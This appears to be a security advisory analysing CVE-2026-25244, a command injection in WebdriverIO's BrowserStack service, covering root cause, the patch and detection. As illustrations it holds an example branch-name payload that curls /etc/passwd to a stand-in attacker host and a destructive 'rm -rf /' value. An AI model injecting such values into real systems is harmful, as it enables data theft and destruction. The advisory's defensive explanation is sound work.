Introduction
A single unsanitized Git branch name is all it takes to achieve remote code execution on any CI/CD server or developer machine running WebdriverIO's BrowserStack integration for test orchestration. With roughly 2.67 million weekly npm downloads and 564 dependent packages, the blast radius of CVE-2026-25244 extends across a significant portion of the JavaScript testing ecosystem.
WebdriverIO is an open source, next generation test automation framework for Node.js that supports unit, component, and end to end testing using WebDriver, WebDriver BiDi, and Appium. It is one of the most widely adopted browser and mobile testing frameworks in the JavaScript ecosystem, with 9.8k GitHub stars and deep integration into enterprise CI/CD pipelines. Its @wdio/browserstack-service package provides seamless integration with BrowserStack's cloud testing infrastructure, including a "smart selection" feature that uses Git metadata to determine which tests to run.
Technical Information
Root Cause
The vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command. The flaw exists in the getGitMetadataForAISelection() function within the file packages/wdio-browserstack-service/src/testorchestration/helpers.ts (specifically at line 204 in the vulnerable version).
During test orchestration, this function extracts Git metadata to facilitate BrowserStack's smart test selection feature. The core problem is that the function uses Node.js's execSync() to run Git commands, and it interpolates user controlled values, specifically Git branch names, directly into the command string passed to execSync(). Because execSync() invokes a system shell (/bin/sh on Unix), any shell metacharacters present in the interpolated values are interpreted by the shell rather than treated as literal strings.
Git's branch naming rules are permissive enough to allow characters that function as shell metacharacters: semicolons, pipe operators, backticks, $() constructs, and others. An attacker who controls a branch name can therefore embed arbitrary shell commands that will execute when the vulnerable function processes the repository.
A vulnerable line in the pre-patch code looked like this:
const changedFilesOutput = execSync(`git diff --name-only ${baseBranch}..${currentBranch}`).toString().trim()
If currentBranch contained a value like main;curl attacker.com/exfil?data=$(cat /etc/passwd), the shell would interpret the semicolon as a command separator and execute the injected curl command.
Attack Flow
-
Craft a malicious repository: The attacker creates a Git repository with a branch name containing shell metacharacters and an embedded payload. For example, a branch named with an injected command that downloads and executes a script, exfiltrates secrets, or creates a reverse shell.
-
Introduce the repository into the target's pipeline: The malicious repository is supplied via the
testOrchestrationOptions.runSmartSelection.sourceconfiguration parameter. If this parameter is unset, WebdriverIO defaults to the current working directory, meaning any cloned repository with a malicious branch name could trigger the vulnerability. -
Trigger test orchestration: When WebdriverIO's BrowserStack service runs and invokes
getGitMetadataForAISelection(), it callsexecSync()with the unsanitized branch name interpolated into the command string. -
Shell interprets the payload: The system shell parses the command string, encounters the metacharacters in the branch name, and executes the attacker's injected commands with the privileges of the Node.js process.
-
Post exploitation: Depending on the payload, the attacker can exfiltrate CI/CD secrets and credentials, steal SSH keys and source code, compromise the build server, or tamper with build artifacts to conduct supply chain attacks.
Severity Context
The CVSS 9.8 score reflects the fact that this vulnerability requires no authentication, involves low attack complexity, and is exploitable over a network. The impact spans confidentiality, integrity, and availability of the affected system.
Patch Information
The vulnerability was patched in commit 0e6748ec, authored by Christian Bromann on February 1, 2026, with the message fix(browserstack): better handle malicious branch names (#15069). The fix first landed in @wdio/browserstack-service version 9.23.3 and was also included in the v9.24.0 release (published February 10, 2026). The entire patch modifies a single file, packages/wdio-browserstack-service/src/testorchestration/helpers.ts, with 102 additions and 22 deletions.
The patch addresses the root cause through two complementary strategies.
Strategy 1: Replacing execSync with spawnSync
The most critical change swaps out the shell invoking execSync for spawnSync, which takes the executable and its arguments as separate array elements and does not invoke a shell:
-import { execSync } from 'node:child_process' +import { spawnSync } from 'node:child_process'
To centralize this, the patch introduces a safeGitCommand wrapper:
function safeGitCommand(args: string[], cwd?: string): string { const result = spawnSync('git', args, { cwd, encoding: 'utf-8', maxBuffer: 10 * 1024 * 1024 }) if (result.error) { throw result.error } if (result.status !== 0) { throw new Error(result.stderr || `Git command failed with status ${result.status}`) } return result.stdout.trim() }
Every previous execSync(...) call was rewritten to use this wrapper with array based arguments:
-const changedFilesOutput = execSync(`git diff --name-only ${baseBranch}..${currentBranch}`).toString().trim() +const changedFilesOutput = safeGitCommand(['diff', '--name-only', `${baseBranch}..${currentBranch}`])
Because spawnSync never invokes a shell, even if baseBranch contained something like ; rm -rf /, it would be passed as a literal string argument to git, which would simply fail with a "bad revision" error rather than executing the injected command.
Strategy 2: Git Reference Validation via isValidGitRef
As a defense in depth measure, the patch introduces a strict allowlist regex for validating all git references before they are used:
const SAFE_GIT_REF_PATTERN = /^[a-zA-Z0-9_./-]+$/ function isValidGitRef(ref: string): boolean { if (!ref || ref.length === 0 || ref.length > 256) { return false } return SAFE_GIT_REF_PATTERN.test(ref) }
This regex permits only alphanumeric characters, dots, underscores, forward slashes, and hyphens. Any ref containing shell dangerous characters will fail validation. The 256 character length limit provides additional protection against excessively long or crafted inputs.
This validation is applied at every critical boundary. For example, in getGitMetadataForAISelection, the current branch name is validated immediately after retrieval:
+if (!isValidGitRef(currentBranch)) { + log.warn(`Invalid current branch name detected: ${currentBranch}. Skipping this folder for security reasons.`) + process.chdir(originalDir) + continue +}
Similar guards were added around the base branch, commit hashes, and parent commit hashes during diff operations. In each case, an invalid ref is logged and skipped rather than processed.
The combination of these two strategies is textbook secure coding: spawnSync eliminates the injection vector at the execution layer, while isValidGitRef validation rejects malicious input before it ever reaches any execution path. Even if one layer were somehow bypassed, the other provides independent protection.
Detection Methods
Dependency Scanning and SCA Tools
The most practical way to detect CVE-2026-25244 is through Software Composition Analysis (SCA) tooling. The vulnerability is cataloged in all major advisory databases:
- GitHub Advisory Database tracks it under GHSA-5c46-x3qw-q7j7, so Dependabot alerts will automatically notify repository owners who depend on the affected package.
- GitLab Advisory Database (GLAD) has an entry for this CVE and recommends using GitLab Dependency Scanning.
- npm audit will flag this vulnerability since it draws from the GitHub Advisory Database. Running
npm auditin any project with@wdio/browserstack-servicein its dependency tree will surface the advisory. - Commercial SCA platforms including Tenable, Snyk, and Miggo Security all carry entries for this CVE.
The version check is straightforward: any installation of @wdio/browserstack-service at version 9.23.2 or earlier is vulnerable. The first patched version is 9.24.0.
Behavioral and Runtime Detection
Beyond version scanning, defenders should consider behavioral indicators on build servers:
- Suspicious git branch names: The attack relies on branch names containing shell metacharacters such as
;,${}, backticks, or pipe operators. If your CI/CD pipeline logs the git branches being checked out, look for branch names containing these characters, for example patterns likemain;curlormain;touch. - Unexpected child processes: During normal WebdriverIO test runs with BrowserStack, the
execSynccalls should only produce standard git output. Process monitoring (e.g., auditd on Linux, Sysmon on Windows) revealing unusual child processes spawned during test orchestration, such ascurl,wget,bash, or file creation commands, would be anomalous. - File system artifacts: Monitoring for unexpected file creation in temporary directories during CI/CD test runs could surface exploitation attempts.
What Is Not Yet Available
There are currently no publicly available Nuclei templates, YARA rules, Sigma rules, or Snort/Suricata IDS signatures tailored to CVE-2026-25244. This is expected given that the vulnerability is a server side command injection in a build time npm package rather than a remotely exploitable web endpoint. The CVE is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog and its EPSS score is 0%.
Affected Systems and Versions
| Component | Status |
|---|---|
@wdio/browserstack-service versions 9.23.2 and below | Vulnerable |
@wdio/browserstack-service version 9.23.3 | First patched version |
@wdio/browserstack-service version 9.24.0 and later | Patched |
The vulnerability specifically affects deployments that use the BrowserStack service's test orchestration feature with smart selection (testOrchestrationOptions.runSmartSelection). Environments where this feature is not enabled are not exposed to the vulnerable code path, though upgrading is still recommended as a precaution.
References
- NVD: CVE-2026-25244
- GitHub Security Advisory: GHSA-5c46-x3qw-q7j7
- WebdriverIO Release v9.24.0
- Patch Commit 0e6748ec
- Vulnerable Source Code (helpers.ts, line 204)
- Snyk Vulnerability Entry
- GitLab Advisory Database Entry
- Tenable: CVE-2026-25244
- Miggo Security: CVE-2026-25244
- Resolved Security: CVE-2026-25244
- SecurityOnline: WebdriverIO Command Injection Vulnerability
- Pre-patch helpers.ts (v9.23.2)
- Post-patch helpers.ts (v9.24.0)
- WebdriverIO on npm
- WebdriverIO GitHub Repository



